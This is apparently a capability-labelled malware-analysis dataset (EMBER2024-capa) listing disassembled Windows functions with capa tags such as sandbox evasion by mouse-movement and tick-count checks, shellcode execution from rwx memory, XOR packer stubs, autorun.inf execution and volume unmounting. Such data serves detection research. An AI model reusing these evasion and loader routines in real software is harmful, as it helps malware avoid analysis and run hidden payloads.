joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor
Execute shellcode via indirect call

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x403008]
cmp eax, 0
jne 0x401021
mov eax, dword [0x40300c]
cmp eax, 0
jne 0x401021
jmp 0x4010b6
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401021
mov dword [ebp - 0x14], eax
call sub.KERNEL32.dll_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x401021
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401021
mov eax, dword [0x403008]
cmp eax, 0
je 0x401093
push 0x3e8
call sub.KERNEL32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401067
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x401021
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401067
mov eax, dword [0x40300c]
cmp eax, 0
je 0x4010b6
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401093
cmp eax, dword [ebp - 0x14]
nop
nop
push dword [section.data]
mov eax, 0x40301a
mov ebx, 0x403271
sub ebx, eax
push ebx
push 0x40301a
call fcn.00402bf8
lea eax, [ebp - 4]
push eax
push 0x40
mov eax, 0x40112a
mov ebx, fcn.00402bf8
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
push dword [0x403004]
mov eax, 0x40112a
mov ebx, fcn.00402bf8
sub ebx, eax
push ebx
push 0x40112a
call fcn.00402bf8
lea eax, [ebp - 4]
push eax
push dword [eax]
mov eax, 0x40112a
mov ebx, fcn.00402bf8
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
in al, dx
in al, dx
in al, dx
in al, dx
in al, dx
in al, dx
in al, dx
in al, dx
in al, dx
in al, dx
xchg esp, eax
pop edi
add byte [eax], al
adc al, 0xa4
js 0x40113d
add byte [ecx - 0x6bffc3b2], dl
sal byte [eax + eax], cl
xchg esp, eax
insb byte es:[edi], dx
add byte [eax], al
add byte [esp + esi*2 + 0x16000072], dl
add byte [ebp + 0x4d000023], dl
mov esp, 0xf529bfb5
cdq
call dword [eax + 0x2e2d2f5c]
sub ebp, dword [edx]
dec ebp
mov esp, 0xf58039f5
cmp dword [ebp + esi*8 + 0x39f58839], eax
invalid

Function at 0x40892f
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
sub eax, 0xc6015b74
sub edx, edx
call fcn.00408957
xor dword [esi], edi
sub eax, 0xf16cb693
inc esi
cmp esi, ecx
jne fcn.0040892f
sub edx, 0x93853dee
and edx, eax
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x4d3b20dc
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x451a5cf9
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x43a945
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042f88a
and dword [ebp - 4], 0
cmp dword [0x454778], 0
mov ebx, eax
jne 0x43a9f6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x43aaa7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x447118
push edi
call esi
test eax, eax
je 0x43aaa7
push eax
call fcn.0042f818
mov dword [esp], 0x447108
push edi
mov dword [0x454778], eax
call esi
push eax
call fcn.0042f818
mov dword [esp], 0x4470f4
push edi
mov dword [0x45477c], eax
call esi
push eax
call fcn.0042f818
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x454780], eax
call esi
push eax
call fcn.0042f818
pop ecx
mov dword [0x454788], eax
test eax, eax
je 0x43a9f6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042f818
pop ecx
mov dword [0x454784], eax
mov eax, dword [0x454784]
cmp eax, ebx
je 0x43aa4e
cmp dword [0x454788], ebx
je 0x43aa4e
push eax
call fcn.0042f893
push dword [0x454788]
mov esi, eax
call fcn.0042f893
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43aa4e
test edi, edi
je 0x43aa4e
call esi
test eax, eax
je 0x43aa45
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43aa45
test byte [ebp - 0xc], 1
jne 0x43aa4e
or dword [ebp + 0x10], 0x200000
jmp 0x43aa87
mov eax, dword [0x45477c]
cmp eax, ebx
je 0x43aa87
push eax
call fcn.0042f893
pop ecx
test eax, eax
je 0x43aa87
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43aa87
mov eax, dword [0x454780]
cmp eax, ebx
je 0x43aa87
push eax
call fcn.0042f893
pop ecx
test eax, eax
je 0x43aa87
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x454778]
call fcn.0042f893
pop ecx
test eax, eax
je 0x43aaa7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43aaa9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x17da7247
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x2fbc67ae
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x1000102b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea eax, [ebp - 0x104]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov edi, dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
lea eax, [ebp - 0x104]
push eax
push ebx
push 7
call edi
mov eax, dword [0x1000a654]
xor ecx, ecx
test eax, eax
jle 0x100010a5
mov dl, byte [ebx]
mov esi, 0x10009d9d
cmp byte [esi], dl
je 0x10001080
inc ecx
add esi, 0x118
cmp ecx, eax
jl 0x10001071
cmp ecx, eax
jge 0x100010a5
imul ecx, ecx, 0x118
lea eax, [ebp - 0x104]
push dword [ecx + 0x10009d98]
push str.DeviceIsoCdRom_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor esi, esi
lea eax, [ebp - 0x104]
push eax
push ebx
push 1
call edi
test eax, eax
jne 0x100010c8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 3
jl 0x100010a7
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001148
Capabilities:
Unmount volume via ioctl

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, str.._:
lea edi, [ebp - 8]
mov al, byte [ebp + 8]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
mov byte [ebp - 4], al
push esi
push esi
push 3
push esi
push 3
lea eax, [ebp - 8]
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10001192
lea eax, [ebp - 4]
push eax
call fcn.10001000
pop ecx
or eax, ebx
jmp 0x10001224
lea eax, [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
push eax
push esi
push esi
push esi
push esi
push 0x90018
push ebx
call edi
test eax, eax
jne 0x100011b7
lea eax, [ebp - 4]
push eax
call fcn.10001000
pop ecx
lea eax, [ebp + 8]
push esi
push eax
push esi
push esi
push esi
push esi
push 0x90020
push ebx
call edi
test eax, eax
jne 0x100011d6
lea eax, [ebp - 4]
push eax
call fcn.10001000
pop ecx
lea eax, [ebp + 8]
push esi
push eax
push esi
push esi
push esi
push esi
push 0x2d4808
push ebx
call edi
test eax, eax
jne 0x100011f2
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp + 8]
push esi
push eax
push esi
push esi
push esi
push esi
push 0x9001c
push ebx
call edi
test eax, eax
jne 0x10001211
lea eax, [ebp - 4]
push eax
call fcn.10001000
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
push eax
call fcn.1000102b
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005308
Capabilities:
Create process on windows
Read file on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea edi, [ecx + 0x10]
lea eax, [ebp - 0x144]
push edi
push str._sautorun.inf
push eax
mov dword [ebp - 8], ecx
call esi
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x144]
push ebx
push ebx
push 3
push ebx
push 3
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
movsx eax, byte [edi]
push eax
lea eax, [ebp - 0x144]
push str.explorer.exe__e__root__c:_
push eax
call esi
add esp, 0xc
cmp dword [ebp - 4], 0xffffffff
je 0x100053dc
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
je 0x100053d3
cmp dword [ebp - 0x20], ebx
jne 0x100053d3
mov eax, dword [ebp - 0x1c]
cmp eax, 0x10000
jae 0x100053d3
add eax, 0xa
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
cmp esi, ebx
je 0x100053d3
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 0x1c]
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100053cc
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xc], eax
jne 0x100053cc
lea ecx, [ebp - 0x144]
push ecx
mov ecx, dword [ebp - 8]
push eax
push esi
call fcn.10005202
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x144]
push 5
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x100053f9
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREEasyBoot_SystemsUltraISO5.0
mov dword [esp + 0x14], ecx
push 1
xor edi, edi
push esi
push SysReAllocString
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], edi
call fcn.10001edd
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, edi
mov ebp, SysReAllocString
je 0x10005444
push 1
push esi
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 0x1c]
call fcn.10001edd
cmp eax, edi
jne 0x100054a5
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], 0x104
mov dword [esp + 0x1c], edi
lea esi, [eax + 0x114]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x20]
push esi
push eax
push edi
push 0x1000a6fc
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [esp + 0x10], edi
je 0x10005489
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x10], edi
push str.UltraISO.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push edi
push 3
push edi
push 3
push ebp
push esi
call ebx
cmp eax, 0xffffffff
jne 0x100054e9
mov eax, dword [esp + 0x14]
push str.C:Program_FilesUltraISOUltraISO.exe
lea esi, [eax + 0x114]
push esi
call fcn.100057e0
pop ecx
pop ecx
push edi
push edi
push 3
push edi
push 3
push ebp
push esi
call ebx
cmp eax, 0xffffffff
jne 0x100054e9
push str.C:Program_Files__x86_UltraISOUltraISO.exe
push esi
call fcn.100057e0
pop ecx
pop ecx
push edi
push edi
push 3
push edi
push 3
push ebp
push esi
call ebx
cmp eax, 0xffffffff
je 0x10005505
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x10], edi
je 0x10005500
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
jmp 0x10005517
cmp dword [esp + 0x10], edi
je 0x10005515
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x100055a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
push esi
mov esi, ecx
call fcn.100053f9
test eax, eax
jne 0x100055d2
push 0x40
push 0x10009248
push str.UltraISO_not_found_
push dword [esi + 0x364]
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x100057a9
push ebx
push edi
push 0x370
lea eax, [ebp - 0x474]
push 0
push eax
call fcn.100058d0
mov eax, dword [ebp + 8]
add esp, 0xc
dec eax
cmp eax, 0xa
ja case.default.0x100055f7
jmp dword [eax*4 + 0x100057b0]
push dword [esi + 0x320]
add esi, 0x114
push esi
push str.__s___infrom__mount__d
jmp 0x1000577f
push dword [esi + 0x320]
lea eax, [esi + 0x10]
add esi, 0x114
push eax
push esi
push str.__s___infile___s___mount__d
lea eax, [ebp - 0x474]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x10005745
push str.Extract_to...
mov ecx, esi
call fcn.1000551f
cmp byte [esi + 0x218], 0
lea eax, [esi + 0x218]
je case.default.0x100055f7
push eax
lea eax, [esi + 0x10]
push eax
jmp 0x100056ac
lea edi, [esi + 0x10]
lea eax, [ebp - 0x104]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x5c
jmp 0x1000568b
lea edi, [esi + 0x10]
lea eax, [ebp - 0x104]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x2e
lea eax, [ebp - 0x104]
push eax
call fcn.10005d50
pop ecx
test eax, eax
pop ecx
je case.default.0x100055f7
and byte [eax], 0
lea eax, [ebp - 0x104]
push eax
push edi
add esi, 0x114
push esi
push str.__s___in___s___extract___s_
jmp 0x1000562b
lea eax, [esi + 0x10]
add esi, 0x114
push eax
push esi
push str.__s___ilong__jlong__directory___s___addto
jmp 0x1000577f
lea ebx, [esi + 0x10]
push ebx
push str._s.iso
jmp 0x100056e6
lea ebx, [esi + 0x10]
push ebx
push str._s.isz
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x104]
push eax
call edi
push 0x5c
push ebx
call fcn.10005d50
add esp, 0x14
test eax, eax
je 0x10005728
lea ecx, [ebp - 0x104]
inc eax
push ecx
push ebx
add esi, 0x114
push eax
push esi
lea eax, [ebp - 0x474]
push str.__s___volume___s___ilong__jlong__directory___s___out___s_
push eax
call edi
add esp, 0x18
jmp case.default.0x100055f7
lea eax, [ebp - 0x104]
add esi, 0x114
push eax
push ebx
push esi
lea eax, [ebp - 0x474]
push str.__s___ilong__jlong__directory___s___out___s_
push eax
call edi
add esp, 0x14
jmp case.default.0x100055f7
movsx eax, byte [esi + 0x10]
add esi, 0x114
push eax
push esi
push str.__s___copy__c:__createto
jmp 0x1000577f
lea eax, [esi + 0x10]
add esi, 0x114
push eax
push esi
push str.__s___ilong__jlong__directory___s___burnto
jmp 0x1000577f
lea eax, [esi + 0x10]
add esi, 0x114
push eax
push esi
push str.__s___infile___s___burnto
lea eax, [ebp - 0x474]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
cmp byte [ebp - 0x474], 0
pop edi
pop ebx
je 0x100057a9
lea eax, [ebp - 0x474]
push 5
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
pop esi
leave
ret 4
Function at 0x10004d40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp - 8]
push ecx
push 0x10004e70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov esp, ebp
pop ebp
ret

Function at 0x10005ec0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x10075610]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov byte [ebp - 1], 0
cmp dword [ebp + 8], 0
jne 0x10005ee2
jmp 0x10005fe3
xor eax, eax
mov word [ebp - 0x218], ax
push 0x206
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.1004e1b0
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
call fcn.1000b1b0
add esp, 4
push str.AliyunConfig.ini
push 0x104
lea eax, [ebp - 0x218]
push eax
call fcn.1004cad1
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x420], cx
push 0x206
push 0
lea edx, [ebp - 0x41e]
push edx
call fcn.1004e1b0
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push 0x104
lea ecx, [ebp - 0x420]
push ecx
call fcn.1004adb1
add esp, 0xc
push 0x100719c4
push 0x104
lea edx, [ebp - 0x420]
push edx
call fcn.1004cad1
add esp, 0xc
push 0x100719c8
push 0x104
lea eax, [ebp - 0x420]
push eax
call fcn.1004cad1
add esp, 0xc
push 0
lea ecx, [ebp - 0x420]
push ecx
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x10005fae
jmp 0x10005fe3
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.1000acf0
lea ecx, [ebp - 0xc]
call fcn.1000ae30
push eax
call fcn.1000b710
add esp, 4
test eax, eax
setne cl
mov byte [ebp - 1], cl
lea ecx, [ebp - 0xc]
call fcn.1000add0
xor edx, edx
jne 0x10005ed7
mov al, byte [ebp - 1]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004ada2
mov esp, ebp
pop ebp
ret 4
Function at 0x10006050
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
mov eax, dword [0x10075610]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov byte [ebp - 1], 0
cmp dword [ebp + 8], 0
jne 0x10006072
jmp 0x100062a7
push 0x1d4c0
call fcn.10009fc0
add esp, 4
mov dword [ebp - 8], 3
mov dword [ebp - 0xc], 0
jmp 0x10006098
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 8]
jae 0x1000617b
xor edx, edx
mov word [ebp - 0x218], dx
push 0x206
push 0
lea eax, [ebp - 0x216]
push eax
call fcn.1004e1b0
add esp, 0xc
lea ecx, [ebp - 0x218]
push ecx
call fcn.1000b1b0
add esp, 4
mov edx, dword [ebp - 0xc]
mov eax, dword [edx*4 + 0x100764f8]
push eax
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call fcn.1004cad1
add esp, 0xc
xor edx, edx
mov word [ebp - 0x420], dx
push 0x206
push 0
lea eax, [ebp - 0x41e]
push eax
call fcn.1004e1b0
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 0x104
lea edx, [ebp - 0x420]
push edx
call fcn.1004adb1
add esp, 0xc
push 0x100719ec
push 0x104
lea eax, [ebp - 0x420]
push eax
call fcn.1004cad1
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx*4 + 0x100764f8]
push edx
push 0x104
lea eax, [ebp - 0x420]
push eax
call fcn.1004cad1
add esp, 0xc
push 0
lea ecx, [ebp - 0x420]
push ecx
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x1000608f
mov dword [ebp - 8], 2
mov dword [ebp - 0x424], 0
jmp 0x1000619d
mov eax, dword [ebp - 0x424]
add eax, 1
mov dword [ebp - 0x424], eax
mov ecx, dword [ebp - 0x424]
cmp ecx, dword [ebp - 8]
jae 0x10006289
xor edx, edx
mov word [ebp - 0x630], dx
push 0x206
push 0
lea eax, [ebp - 0x62e]
push eax
call fcn.1004e1b0
add esp, 0xc
lea ecx, [ebp - 0x630]
push ecx
call fcn.1000b210
add esp, 4
mov edx, dword [ebp - 0x424]
mov eax, dword [edx*4 + 0x10076504]
push eax
push 0x104
lea ecx, [ebp - 0x630]
push ecx
call fcn.1004cad1
add esp, 0xc
xor edx, edx
mov word [ebp - 0x838], dx
push 0x206
push 0
lea eax, [ebp - 0x836]
push eax
call fcn.1004e1b0
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 0x104
lea edx, [ebp - 0x838]
push edx
call fcn.1004adb1
add esp, 0xc
push 0x100719f0
push 0x104
lea eax, [ebp - 0x838]
push eax
call fcn.1004cad1
add esp, 0xc
mov ecx, dword [ebp - 0x424]
mov edx, dword [ecx*4 + 0x10076504]
push edx
push 0x104
lea eax, [ebp - 0x838]
push eax
call fcn.1004cad1
add esp, 0xc
push 0
lea ecx, [ebp - 0x838]
push ecx
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x1000618e
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.1000a730
add esp, 8
test eax, eax
setne cl
mov byte [ebp - 1], cl
xor edx, edx
jne 0x10006067
mov al, byte [ebp - 1]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004ada2
mov esp, ebp
pop ebp
ret 4
Function at 0x10007d90
Capabilities:
Encode data using base64

Disassembly:
push ebx
push esi
push edi
mov esi, 0x14
mov edi, eax
lea ebx, [ebx]
movzx edx, byte [ecx]
shr edx, 2
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], dl
inc eax
sub esi, 1
je 0x10007e13
movzx ebx, byte [ecx + 1]
lea edx, [ecx + 1]
movzx ecx, byte [ecx]
and ecx, 3
shl ecx, 4
shr ebx, 4
or ecx, ebx
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
inc eax
sub esi, 1
je 0x10007e33
movzx ebx, byte [edx + 1]
lea ecx, [edx + 1]
movzx edx, byte [edx]
and edx, 0xf
add edx, edx
add edx, edx
shr ebx, 6
or edx, ebx
movzx edx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], dl
movzx edx, byte [ecx]
and edx, 0x3f
movzx edx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc eax
mov byte [eax], dl
inc eax
inc ecx
sub esi, 1
jne 0x10007da0
sub eax, edi
pop edi
pop esi
pop ebx
ret
movzx ecx, byte [ecx]
and ecx, 3
shl ecx, 4
mov dl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], dl
inc eax
mov byte [eax], 0x3d
inc eax
mov byte [eax], 0x3d
inc eax
sub eax, edi
pop edi
pop esi
pop ebx
ret
movzx ecx, byte [edx]
and ecx, 0xf
mov dl, byte [ecx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], dl
inc eax
mov byte [eax], 0x3d
inc eax
sub eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x10008bf0
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
sub esp, 0x70
mov eax, dword [0x10075610]
xor eax, esp
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x74]
push ebx
push ebp
mov ebp, dword [esp + 0x80]
push esi
mov esi, dword [esp + 0x88]
push edi
push 0x40
mov edi, ecx
lea ecx, [esp + 0x3c]
push 0
push ecx
mov bx, dx
mov dword [esp + 0x40], eax
call fcn.1004e1b0
mov edx, 0x200
add esp, 0xc
movzx eax, bx
cmp bx, dx
jbe 0x10008c4c
lea ecx, [esp + 0x38]
push ecx
mov ecx, ebp
call fcn.10009f30
add esp, 4
jmp 0x10008c67
add eax, 7
cdq
and edx, 7
add eax, edx
sar eax, 3
push eax
lea edx, [esp + 0x3c]
push ebp
push edx
call fcn.1004de40
add esp, 0xc
lea eax, [esp + 0x38]
mov ecx, 0x40
xor byte [eax], 0x36
inc eax
sub ecx, 1
jne 0x10008c70
xor eax, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x10]
push eax
lea edx, [esp + 0x3c]
mov dword [esp + 0x14], 0x67452301
mov dword [esp + 0x18], 0xefcdab89
mov dword [esp + 0x1c], 0x98badcfe
mov dword [esp + 0x20], 0x10325476
mov dword [esp + 0x24], 0xc3d2e1f0
call fcn.10009c30
add esp, 4
cmp edi, 0x200
jb 0x10008ced
mov ebx, edi
shr ebx, 9
lea esp, [esp]
lea ecx, [esp + 0x10]
push ecx
mov edx, esi
call fcn.10009c30
add esp, 4
add esi, 0x40
sub edi, 0x200
sub ebx, 1
jne 0x10008cd0
mov edx, esi
mov ecx, edi
lea esi, [esp + 0x10]
call fcn.10009df0
lea eax, [esp + 0x38]
mov ecx, 0x40
xor byte [eax], 0x6a
inc eax
sub ecx, 1
jne 0x10008d03
mov ebx, dword [esp + 0x34]
lea edi, [esp + 0x10]
mov ecx, ebx
sub edi, ebx
mov edx, 5
mov eax, dword [edi + ecx]
mov esi, eax
and esi, 0xff0000
mov ebp, eax
shr ebp, 0x10
or esi, ebp
mov ebp, eax
shl ebp, 0x10
and eax, 0xff00
or ebp, eax
shr esi, 8
shl ebp, 8
or esi, ebp
mov dword [ecx], esi
add ecx, 4
sub edx, 1
jne 0x10008d1d
lea edx, [esp + 0x10]
xor eax, eax
push edx
lea edx, [esp + 0x3c]
mov dword [esp + 0x14], 0x67452301
mov dword [esp + 0x18], 0xefcdab89
mov dword [esp + 0x1c], 0x98badcfe
mov dword [esp + 0x20], 0x10325476
mov dword [esp + 0x24], 0xc3d2e1f0
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call fcn.10009c30
add esp, 4
mov ecx, 0xa0
mov edx, ebx
lea esi, [esp + 0x10]
call fcn.10009df0
mov ecx, ebx
mov edx, 5
jmp 0x10008db0
mov eax, dword [ecx + edi]
mov esi, eax
and esi, 0xff0000
mov ebx, eax
shr ebx, 0x10
or esi, ebx
mov ebx, eax
shl ebx, 0x10
and eax, 0xff00
or ebx, eax
shr esi, 8
shl ebx, 8
or esi, ebx
mov dword [ecx], esi
add ecx, 4
sub edx, 1
jne 0x10008db0
mov ecx, dword [esp + 0x7c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1004ada2
add esp, 0x70
ret